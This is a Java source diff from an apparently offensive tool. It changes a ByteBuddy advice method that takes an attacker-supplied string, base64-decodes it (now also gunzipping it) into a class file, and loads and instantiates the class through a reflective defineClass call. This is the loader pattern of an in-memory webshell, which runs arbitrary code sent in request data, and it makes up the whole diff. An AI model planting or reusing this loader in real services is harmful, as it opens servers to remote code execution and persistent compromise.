33import lombok .SneakyThrows ;
44import net .bytebuddy .asm .Advice ;
55
6+ import java .io .ByteArrayInputStream ;
7+ import java .io .ByteArrayOutputStream ;
68import java .lang .reflect .Method ;
7- import java .net .URL ;
8- import java .net .URLClassLoader ;
9+ import java .util .zip .GZIPInputStream ;
910
1011/**
1112 * @author ReaJason
@@ -24,7 +25,8 @@ public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOn
2425 Class <?> decoderClass ;
2526 byte [] classBytes ;
2627 String base64 = data ;
27- if (!data .startsWith ("yv66vgAAAD" )) {
28+ boolean gzip = data .startsWith ("H4s" );
29+ if (!gzip && !data .startsWith ("yv66vgAAAD" )) {
2830 base64 = "yv66vgAAAD" + data ;
2931 }
3032 try {
@@ -35,9 +37,27 @@ public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOn
3537 decoderClass = Class .forName ("sun.misc.BASE64Decoder" );
3638 classBytes = (byte []) decoderClass .getMethod ("decodeBuffer" , String .class ).invoke (decoderClass .newInstance (), base64 );
3739 }
40+ if (gzip ) {
41+ ByteArrayOutputStream out = new ByteArrayOutputStream ();
42+ GZIPInputStream gzipInputStream = null ;
43+ try {
44+ gzipInputStream = new GZIPInputStream (new ByteArrayInputStream (classBytes ));
45+ byte [] buffer = new byte [4096 ];
46+ int n ;
47+ while ((n = gzipInputStream .read (buffer )) > 0 ) {
48+ out .write (buffer , 0 , n );
49+ }
50+ classBytes = out .toByteArray ();
51+ } finally {
52+ if (gzipInputStream != null ) {
53+ gzipInputStream .close ();
54+ }
55+ out .close ();
56+ }
57+ }
3858 Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
3959 defineClass .setAccessible (true );
40- Class <?> clazz = (Class <?>) defineClass .invoke (new java .net .URLClassLoader (new java .net .URL []{}), classBytes , 0 , classBytes .length );
60+ Class <?> clazz = (Class <?>) defineClass .invoke (new java .net .URLClassLoader (new java .net .URL []{}, Thread . currentThread (). getContextClassLoader () ), classBytes , 0 , classBytes .length );
4161 return ret = clazz .newInstance ().toString ();
4262 }
4363
0 commit comments